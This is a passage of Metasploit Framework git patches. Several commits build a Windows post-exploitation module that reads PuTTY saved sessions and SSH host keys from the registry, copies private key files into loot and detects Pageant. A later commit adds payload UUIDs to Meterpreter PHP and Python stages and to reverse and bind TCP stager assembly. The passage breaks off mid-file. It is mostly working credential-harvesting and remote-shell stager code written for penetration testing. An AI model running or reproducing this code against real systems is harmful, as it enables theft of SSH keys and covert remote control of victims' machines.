Msf::Post # Look for saved sessions, break out if not. print_status("Looking for saved PuTTY sessions") - saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') + saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions") if saved_sessions.nil? || saved_sessions.empty? print_error('No saved sessions found') else From 1177f42263baa1a46814625e04bf471b7db9150d Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 14:38:25 +0100 Subject: [PATCH 0097/1013] Renamed module to remain consistent with other enum modules --- ...{putty_enum_saved_sessions.rb => enum_putty_saved_sessions.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/post/windows/gather/{putty_enum_saved_sessions.rb => enum_putty_saved_sessions.rb} (100%) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb similarity index 100% rename from modules/post/windows/gather/putty_enum_saved_sessions.rb rename to modules/post/windows/gather/enum_putty_saved_sessions.rb From b12db7b6335566645293f999aba21af90deee2a2 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 14:59:26 +0100 Subject: [PATCH 0098/1013] Retrieves saved session lists etc to loot and exports information in CSV format --- modules/post/windows/gather/enum_putty_saved_sessions.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index dac8d00d83..d9d8158f2b 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -69,7 +69,10 @@ class Metasploit3 < Msf::Post results_table << row end + print_line print_line results_table.to_s + stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") + print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") end def get_stored_host_key_details(allkeys) @@ -129,7 +132,10 @@ class Metasploit3 < Msf::Post results_table << row end + print_line print_line results_table.to_s + stored_path = store_loot('putty.storedfingerprints.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Stored SSH Host Keys List") + print_status("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).") end def grab_private_keys(sessions) @@ -169,7 +175,6 @@ class Metasploit3 < Msf::Post # Retrieve the saved session details & print them to the screen in a report all_saved_sessions = get_saved_session_details(saved_sessions) display_saved_sessions_report(all_saved_sessions) - print_status("Session data also stored in notes. Use 'notes -t putty.savedsessions to view'.") # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") @@ -193,7 +198,6 @@ class Metasploit3 < Msf::Post if all_stored_keys.nil? || all_stored_keys.empty? print_error("No stored key fingerprints found") else - print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes. Use 'notes -t putty.storedfingerprint to view'.") display_stored_host_keys_report(all_stored_keys) end end From a4f67bce6f4f844cf25730a9bfb59caebc44d85c Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 15:48:05 +0100 Subject: [PATCH 0099/1013] Tidied up code --- .../windows/gather/enum_putty_saved_sessions.rb | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index d9d8158f2b..df76db11ca 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -148,12 +148,12 @@ class Metasploit3 < Msf::Post if file?(filename) if ppk = read_file(filename) # Attempt to read the contents of the file stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) - print_status("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") else print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc end else - print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be found.") + print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") end end end @@ -182,6 +182,8 @@ class Metasploit3 < Msf::Post end + print_line # Just for readability + # Now search for SSH stored keys. These could be useful because it shows hosts that the user # has previously connected to and accepted a key from. print_status("Looking for previously stored SSH host key fingerprints") @@ -202,6 +204,16 @@ class Metasploit3 < Msf::Post end end + print_line # Just for readability + + print_status("Looking for Pageant...") + hwnd = client.railgun.user32.FindWindowW("Pageant", "Pageant") + if hwnd['return'] + print_good("Pageant is running (Handle 0x#{sprintf("%x",hwnd['return'])})") + else + print_error("Pageant is not running") + end + end end From 5e4566712a207242ed6dc3519d7355a2d4e676be Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 16:00:44 +0100 Subject: [PATCH 0100/1013] Added more detailed description --- modules/post/windows/gather/enum_putty_saved_sessions.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index df76db11ca..a3a553ab3c 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -24,9 +24,10 @@ class Metasploit3 < Msf::Post This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session information from the registry. PuTTY is very configurable; some users may have configured saved sessions which could include a username, private key file to use when authenticating, - host name etc. - - If a private key is configured, an attempt will be made to download and store it in loot. + host name etc. If a private key is configured, an attempt will be made to download and store + it in loot. It will also record the SSH host keys which have been stored. These will be connections that + the user has previously after accepting the host SSH fingerprint and therefore are of particular + interest if they are within scope of a penetration test. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], From f1955cb15dc644e1996b2bf279f238101fa10099 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 16:09:19 +0100 Subject: [PATCH 0101/1013] Rubocopped the file --- .../gather/enum_putty_saved_sessions.rb | 187 +++++++++--------- 1 file changed, 89 insertions(+), 98 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index a3a553ab3c..915fbf9f0d 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -14,45 +14,43 @@ class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry - INTERESTING_KEYS=['HostName','PublicKeyFile','UserName','PortNumber','PortForwardings'] - PAGEANT_REGISTRY_KEY="HKCU\\Software\\SimonTatham\\PuTTY" + INTERESTING_KEYS = ['HostName', 'PublicKeyFile', 'UserName', 'PortNumber', 'PortForwardings'] + PAGEANT_REGISTRY_KEY = "HKCU\\Software\\SimonTatham\\PuTTY" - def initialize(info={}) + def initialize(info = {}) super(update_info(info, - 'Name' => "PuTTY Saved Sessions Enumeration Module", - 'Description' => %q{ - This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session - information from the registry. PuTTY is very configurable; some users may have configured - saved sessions which could include a username, private key file to use when authenticating, - host name etc. If a private key is configured, an attempt will be made to download and store - it in loot. It will also record the SSH host keys which have been stored. These will be connections that - the user has previously after accepting the host SSH fingerprint and therefore are of particular - interest if they are within scope of a penetration test. - }, - 'License' => MSF_LICENSE, - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['Stuart Morgan '] - )) + 'Name' => "PuTTY Saved Sessions Enumeration Module", + 'Description' => %q{ + This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session + information from the registry. PuTTY is very configurable; some users may have configured + saved sessions which could include a username, private key file to use when authenticating, + host name etc. If a private key is configured, an attempt will be made to download and store + it in loot. It will also record the SSH host keys which have been stored. These will be connections that + the user has previously after accepting the host SSH fingerprint and therefore are of particular + interest if they are within scope of a penetration test. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Stuart Morgan '] + )) end def get_saved_session_details(sessions) - all_sessions = [] sessions.each do |ses| - newses = {} - newses['Name'] = Rex::Text.uri_decode(ses) - INTERESTING_KEYS.each do |key| - newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s - end - all_sessions << newses - report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) - end + newses = {} + newses['Name'] = Rex::Text.uri_decode(ses) + INTERESTING_KEYS.each do |key| + newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s + end + all_sessions << newses + report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) + end all_sessions end def display_saved_sessions_report(info) - # Results table holds raw string data results_table = Rex::Ui::Text::Table.new( 'Header' => "PuTTY Saved Sessions", @@ -66,7 +64,7 @@ class Metasploit3 < Msf::Post row << result['Name'] INTERESTING_KEYS.each do |key| row << result[key] - end + end results_table << row end @@ -77,47 +75,44 @@ class Metasploit3 < Msf::Post end def get_stored_host_key_details(allkeys) - # This hash will store (as the key) host:port pairs. This is basically a quick way of # getting a unique list of host:port pairs. all_ssh_host_keys = {} # This regex will split up lines such as rsa2@22:127.0.0.1 from the registry. - rx_split_hostporttype = %r{^(?[-a-z0-9]+?)@(?[0-9]+?):(?.+)$}i + rx_split_hostporttype = /^(?[-a-z0-9]+?)@(?[0-9]+?):(?.+)$/i # Go through each of the stored keys found in the registry allkeys.each do |key| + # Store the raw key and value in a hash to start off with + newkey = { + rawname: key, + rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s + } - # Store the raw key and value in a hash to start off with - newkey = { - rawname: key, - rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s - } + # Take the key and split up host, port and fingerprint type. If it matches, store the information + # in the hash for later. + split_hostporttype = rx_split_hostporttype.match(key.to_s) + if split_hostporttype - # Take the key and split up host, port and fingerprint type. If it matches, store the information - # in the hash for later. - split_hostporttype = rx_split_hostporttype.match(key.to_s) - if split_hostporttype + # Extract the host, port and key type into the hash + newkey['host'] = split_hostporttype[:host] + newkey['port'] = split_hostporttype[:port] + newkey['type'] = split_hostporttype[:type] - # Extract the host, port and key type into the hash - newkey['host'] = split_hostporttype[:host] - newkey['port'] = split_hostporttype[:port] - newkey['type'] = split_hostporttype[:type] + # Form the key + host_port = "#{newkey['host']}:#{newkey['port']}" - # Form the key - host_port = "#{newkey['host']}:#{newkey['port']}" - - # Add it to the consolidation hash. If the same IP has different key types, append to the array - all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? - all_ssh_host_keys[host_port] << newkey['type'] - end - report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data) - end + # Add it to the consolidation hash. If the same IP has different key types, append to the array + all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? + all_ssh_host_keys[host_port] << newkey['type'] + end + report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data) + end all_ssh_host_keys end def display_stored_host_keys_report(info) - # Results table holds raw string data results_table = Rex::Ui::Text::Table.new( 'Header' => "Stored SSH host key fingerprints", @@ -126,7 +121,7 @@ class Metasploit3 < Msf::Post 'Columns' => ['SSH Endpoint', 'Key Type(s)'] ) - info.each do |key,result| + info.each do |key, result| row = [] row << key row << result.join(', ') @@ -141,68 +136,66 @@ class Metasploit3 < Msf::Post def grab_private_keys(sessions) sessions.each do |ses| + filename = ses['PublicKeyFile'].to_s + next if filename.empty? - filename = ses['PublicKeyFile'].to_s - next if filename.empty? - - # Check whether the file exists. - if file?(filename) - if ppk = read_file(filename) # Attempt to read the contents of the file - stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) - print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") - else - print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc - end + # Check whether the file exists. + if file?(filename) + ppk = read_file(filename) + if ppk # Attempt to read the contents of the file + stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) + print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") else - print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") + print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc end + else + print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") + end end end - # Entry point def run - # Look for saved sessions, break out if not. print_status("Looking for saved PuTTY sessions") saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions") if saved_sessions.nil? || saved_sessions.empty? - print_error('No saved sessions found') + print_error('No saved sessions found') else - # Tell the user how many sessions have been found (with correct English) - print_status("Found #{saved_sessions.count} session#{saved_sessions.count>1?'s':''}") - - # Retrieve the saved session details & print them to the screen in a report - all_saved_sessions = get_saved_session_details(saved_sessions) - display_saved_sessions_report(all_saved_sessions) - - # If the private key file has been configured, retrieve it and save it to loot - print_status("Downloading private keys...") - grab_private_keys(all_saved_sessions) + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}") + + # Retrieve the saved session details & print them to the screen in a report + all_saved_sessions = get_saved_session_details(saved_sessions) + display_saved_sessions_report(all_saved_sessions) + + # If the private key file has been configured, retrieve it and save it to loot + print_status("Downloading private keys...") + grab_private_keys(all_saved_sessions) end print_line # Just for readability # Now search for SSH stored keys. These could be useful because it shows hosts that the user - # has previously connected to and accepted a key from. + # has previously connected to and accepted a key from. print_status("Looking for previously stored SSH host key fingerprints") - stored_ssh_host_keys = registry_enumvals('HKCU\\Software\\SimonTatham\\PuTTY\\SshHostKeys') + stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys") if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty? - print_error('No stored SSH host keys found') + print_error('No stored SSH host keys found') else - # Tell the user how many sessions have been found (with correct English) - print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count>1?'s':''}") + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}") - # Retrieve the saved session details & print them to the screen in a report - print_status("Downloading stored key fingerprints...") - all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) - if all_stored_keys.nil? || all_stored_keys.empty? - print_error("No stored key fingerprints found") - else - display_stored_host_keys_report(all_stored_keys) - end + # Retrieve the saved session details & print them to the screen in a report + print_status("Downloading stored key fingerprints...") + all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) + if all_stored_keys.nil? || all_stored_keys.empty? + print_error("No stored key fingerprints found") + else + display_stored_host_keys_report(all_stored_keys) + end end print_line # Just for readability @@ -210,11 +203,9 @@ class Metasploit3 < Msf::Post print_status("Looking for Pageant...") hwnd = client.railgun.user32.FindWindowW("Pageant", "Pageant") if hwnd['return'] - print_good("Pageant is running (Handle 0x#{sprintf("%x",hwnd['return'])})") + print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})") else - print_error("Pageant is not running") - end - + print_error("Pageant is not running") + end end - end From 0d56b3ee66cec060ee16bdeb93193433512371e3 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 15 May 2015 12:27:25 +1000 Subject: [PATCH 0102/1013] Stage UUIDs, generation options, php and python meterp uuid --- data/meterpreter/meterpreter.php | 25 +++-- data/meterpreter/meterpreter.py | 13 ++- lib/msf/core/handler/reverse_http.rb | 10 +- lib/msf/core/payload.rb | 10 ++ lib/msf/core/payload/dalvik.rb | 2 +- lib/msf/core/payload/generic.rb | 4 +- lib/msf/core/payload/java.rb | 2 +- lib/msf/core/payload/linux/bind_tcp.rb | 15 +++ lib/msf/core/payload/linux/reverse_tcp.rb | 27 +++++- lib/msf/core/payload/linux/send_uuid.rb | 53 ++++++++++ lib/msf/core/payload/stager.rb | 13 ++- lib/msf/core/payload/windows/bind_tcp.rb | 97 +++++++++++-------- lib/msf/core/payload/windows/reverse_tcp.rb | 78 ++++++++------- lib/msf/core/payload/windows/send_uuid.rb | 50 ++++++++++ lib/msf/core/payload/windows/x64/bind_tcp.rb | 14 +++ .../core/payload/windows/x64/reverse_tcp.rb | 22 ++++- lib/msf/core/payload/windows/x64/send_uuid.rb | 52 ++++++++++ modules/payloads/singles/bsd/x64/exec.rb | 2 +- modules/payloads/singles/bsd/x86/exec.rb | 2 +- .../payloads/singles/linux/armle/adduser.rb | 2 +- modules/payloads/singles/linux/armle/exec.rb | 2 +- modules/payloads/singles/linux/x64/exec.rb | 2 +- modules/payloads/singles/linux/x86/adduser.rb | 2 +- modules/payloads/singles/linux/x86/chmod.rb | 2 +- modules/payloads/singles/linux/x86/exec.rb | 2 +- .../payloads/singles/linux/x86/read_file.rb | 2 +- modules/payloads/singles/osx/x86/exec.rb | 2 +- .../stagers/linux/x86/bind_tcp_uuid.rb | 44 +++++++++ .../stagers/linux/x86/reverse_tcp_uuid.rb | 42 ++++++++ modules/payloads/stagers/windows/bind_tcp.rb | 20 ++-- .../payloads/stagers/windows/bind_tcp_rc4.rb | 4 +- .../payloads/stagers/windows/bind_tcp_uuid.rb | 44 +++++++++ .../payloads/stagers/windows/reverse_tcp.rb | 20 ++-- .../stagers/windows/reverse_tcp_rc4.rb | 4 +- .../stagers/windows/reverse_tcp_rc4_dns.rb | 3 +- .../stagers/windows/reverse_tcp_uuid.rb | 44 +++++++++ .../stagers/windows/x64/bind_tcp_uuid.rb | 43 ++++++++ .../stagers/windows/x64/reverse_tcp.rb | 20 ++-- .../stagers/windows/x64/reverse_tcp_uuid.rb | 43 ++++++++ .../payloads/stages/android/meterpreter.rb | 3 +- modules/payloads/stages/android/shell.rb | 2 +- modules/payloads/stages/java/meterpreter.rb | 5 +- .../payloads/stages/linux/x86/meterpreter.rb | 4 +- modules/payloads/stages/osx/armle/execute.rb | 4 +- modules/payloads/stages/php/meterpreter.rb | 13 ++- modules/payloads/stages/python/meterpreter.rb | 12 ++- .../payloads/stages/windows/meterpreter.rb | 20 ++-- .../stages/windows/x64/meterpreter.rb | 20 ++-- 48 files changed, 743 insertions(+), 178 deletions(-) create mode 100644 lib/msf/core/payload/linux/send_uuid.rb create mode 100644 lib/msf/core/payload/windows/send_uuid.rb create mode 100644 lib/msf/core/payload/windows/x64/send_uuid.rb create mode 100644 modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb create mode 100644 modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb create mode 100644 modules/payloads/stagers/windows/bind_tcp_uuid.rb create mode 100644 modules/payloads/stagers/windows/reverse_tcp_uuid.rb create mode 100644 modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb create mode 100644 modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb diff --git a/data/meterpreter/meterpreter.php b/data/meterpreter/meterpreter.php index 156966fcf5..ab71743636 100755 --- a/data/meterpreter/meterpreter.php +++ b/data/meterpreter/meterpreter.php @@ -32,7 +32,7 @@ if (!isset($GLOBALS['readers'])) { # global list of extension commands if (!isset($GLOBALS['commands'])) { - $GLOBALS['commands'] = array("core_loadlib"); + $GLOBALS['commands'] = array("core_loadlib", "core_uuid"); } function register_command($c) { @@ -99,18 +99,21 @@ function socket_set_option($sock, $type, $opt, $value) { } } +# +# Payload definitions +# +define("PAYLOAD_UUID", ""); # # Constants # -define("PACKET_TYPE_REQUEST",0); -define("PACKET_TYPE_RESPONSE",1); -define("PACKET_TYPE_PLAIN_REQUEST", 10); +define("PACKET_TYPE_REQUEST", 0); +define("PACKET_TYPE_RESPONSE", 1); +define("PACKET_TYPE_PLAIN_REQUEST", 10); define("PACKET_TYPE_PLAIN_RESPONSE", 11); -define("ERROR_SUCCESS",0); -# not defined in original C implementation -define("ERROR_FAILURE",1); +define("ERROR_SUCCESS", 0); +define("ERROR_FAILURE", 1); define("CHANNEL_CLASS_BUFFERED", 0); define("CHANNEL_CLASS_STREAM", 1); @@ -175,6 +178,9 @@ define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401); define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402); define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403); +define("TLV_TYPE_MACHINE_ID", TLV_META_TYPE_STRING | 460); +define("TLV_TYPE_UUID", TLV_META_TYPE_RAW | 461); + define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500); define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501); @@ -419,6 +425,11 @@ function core_loadlib($req, &$pkt) { } +function core_uuid($req, &$pkt) { + my_print("doing core_uuid"); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, PAYLOAD_UUID)); + return ERROR_SUCCESS; +} diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 98221836cc..e1736f67c6 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -67,6 +67,7 @@ HTTP_CONNECTION_URL = None HTTP_EXPIRATION_TIMEOUT = 604800 HTTP_PROXY = None HTTP_USER_AGENT = None +PAYLOAD_UUID = "" PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 @@ -144,6 +145,7 @@ TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 +TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 @@ -570,6 +572,10 @@ class PythonMeterpreter(object): pkt = struct.pack('>I', len(pkt) + 4) + pkt self.send_packet(pkt) + def _core_uuid(self, request, response): + response += tlv_pack(TLV_TYPE_UUID, PAYLOAD_UUID) + return ERROR_SUCCESS, response + def _core_machine_id(self, request, response): serial = '' machine_name = platform.uname()[1] @@ -594,9 +600,10 @@ class PythonMeterpreter(object): else: for _, _, files in os.walk('/dev/disk/by-id/'): for f in files: - if f[:4] == 'ata-': - serial = f[4:] - break + for p in ['ata-', 'mb-']: + if f[:len(p)] == p: + serial = f[len(p):] + break response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name)) return ERROR_SUCCESS, response diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index d442d6727d..c590495887 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -254,7 +254,10 @@ protected url = payload_uri(req) + conn_id + '/' blob = "" - blob << obj.generate_stage + blob << obj.generate_stage( + uuid: uuid, + uri: conn_id + ) var_escape = lambda { |txt| txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\')) @@ -291,7 +294,10 @@ protected url = payload_uri(req) + conn_id + "/\x00" blob = "" - blob << obj.generate_stage + blob << obj.generate_stage( + uuid: uuid, + uri: conn_id + ) # This is a TLV packet - I guess somewhere there should be an API for building them # in Metasploit :-) diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 6eb0699235..c1ec362da2 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -318,6 +318,16 @@ class Payload < Msf::Module apply_prepends(generate) end + # + # Convert raw bytes to metasm-ready 'db' encoding format + # eg. "\x90\xCC" => "db 0x90,0xCC" + # + # @param raw [Array] Byte array to encode. + # + def raw_to_db(raw) + raw.unpack("C*").map {|c| "0x%.2x" % c}.join(",") + end + # # Substitutes variables with values from the module's datastore in the # supplied raw buffer for a given set of named offsets. For instance, diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index 43ecd9cc61..6037bdf925 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -17,7 +17,7 @@ module Msf::Payload::Dalvik # # We could compile the .class files with dx here # - def generate_stage + def generate_stage(opts={}) end # diff --git a/lib/msf/core/payload/generic.rb b/lib/msf/core/payload/generic.rb index 0de18cc652..91a288e599 100644 --- a/lib/msf/core/payload/generic.rb +++ b/lib/msf/core/payload/generic.rb @@ -123,8 +123,8 @@ module Payload::Generic redirect_to_actual(:stage_over_connection?) end - def generate_stage - redirect_to_actual(:generate_stage) + def generate_stage(opts={}) + redirect_to_actual(:generate_stage, opts) end def handle_connection_stage(*args) diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index d8ecdf500a..bebcedca32 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -14,7 +14,7 @@ module Msf::Payload::Java # [ 32-bit big endian length ][ Nth raw .class file] # [ 32-bit null ] # - def generate_stage + def generate_stage(opts={}) stage = '' @stage_class_files.each do |path| data = MetasploitPayloads.read('java', path) diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb index 83b02fc4a4..06bc75f80d 100644 --- a/lib/msf/core/payload/linux/bind_tcp.rb +++ b/lib/msf/core/payload/linux/bind_tcp.rb @@ -2,6 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' +require 'msf/core/payload/linux/send_uuid' module Msf @@ -17,6 +18,7 @@ module Payload::Linux::BindTcp include Msf::Payload::TransportConfig include Msf::Payload::Linux + include Msf::Payload::Linux::SendUUID # # Generate the first stage @@ -36,6 +38,14 @@ module Payload::Linux::BindTcp generate_bind_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + # # Generate and compile the stager # @@ -133,6 +143,11 @@ module Payload::Linux::BindTcp mov [ecx+0x4],edx int 0x80 ; invoke socketcall (SYS_ACCEPT) xchg eax,ebx + ^ + + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ mov dh,0xc ; at least 0x0c00 bytes mov al,0x3 ; read syscall int 0x80 ; invoke read diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index 5b190f93b0..bad961c820 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -3,6 +3,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/payload/linux' +require 'msf/core/payload/linux/send_uuid' module Msf @@ -18,6 +19,7 @@ module Payload::Linux::ReverseTcp include Msf::Payload::TransportConfig include Msf::Payload::Linux + include Msf::Payload::Linux::SendUUID # # Generate the first stage @@ -39,6 +41,14 @@ module Payload::Linux::ReverseTcp generate_reverse_tcp(conf) end + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + def transport_config(opts={}) transport_config_reverse_tcp(opts) end @@ -89,9 +99,10 @@ module Payload::Linux::ReverseTcp push 0x2 mov al, 0x66 mov ecx, esp - int 0x80 ; sys_socketcall - xchg eax, edi - pop ebx + int 0x80 ; sys_socketcall (socket()) + + xchg eax, edi ; store the socket in edi + pop ebx ; set ebx back to zero push #{encoded_host} push #{encoded_port} mov ecx, esp @@ -102,7 +113,12 @@ module Payload::Linux::ReverseTcp push edi mov ecx, esp inc ebx - int 0x80 ; sys_socketcall + int 0x80 ; sys_socketcall (connect()) + ^ + + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ mov dl, 0x7 mov ecx, 0x1000 mov ebx, esp @@ -110,12 +126,13 @@ module Payload::Linux::ReverseTcp shl ebx, 0xc mov al, 0x7d int 0x80 ; sys_mprotect + pop ebx mov ecx, esp cdq mov dh, 0xc mov al, 0x3 - int 0x80 ; sys_read + int 0x80 ; sys_read (recv()) jmp ecx ^ diff --git a/lib/msf/core/payload/linux/send_uuid.rb b/lib/msf/core/payload/linux/send_uuid.rb new file mode 100644 index 0000000000..bc7bc34ee5 --- /dev/null +++ b/lib/msf/core/payload/linux/send_uuid.rb @@ -0,0 +1,53 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' + +module Msf + +### +# +# Basic send_uuid stub for Linux ARCH_X86 payloads +# +### + +module Payload::Linux::SendUUID + + # + # Generate assembly code that writes the UUID to the socket. + # + # This code assumes that the communications socket handle is in edi. + # + def asm_send_uuid(uuid=nil) + unless uuid + uuid = Msf::Payload::UUID.new( + platform: 'linux', + arch: ARCH_X86 + ) + end + + uuid_raw = uuid.to_raw + + asm =%Q^ + send_uuid: + push 0 ; terminate the args array + push #{uuid_raw.length} ; length of the UUID + call get_uuid_address ; put uuid buffer on tehe stack + db #{raw_to_db(uuid_raw)} ; UUID itself + get_uuid_address: + push edi ; socket handle + mov ecx, esp ; store the pointer to the argument arra + push 0x9 ; SYS_SEND + pop ebx + push 0x66 ; sys_socketcall + pop eax + int 0x80 + ^ + + asm + end + +end + +end + diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index 206433046e..aa1826809b 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -131,14 +131,14 @@ module Msf::Payload::Stager # Generates the stage payload and substitutes all offsets. # # @return [String] The generated payload stage, as a string. - def generate_stage + def generate_stage(opts={}) # XXX: This is nearly 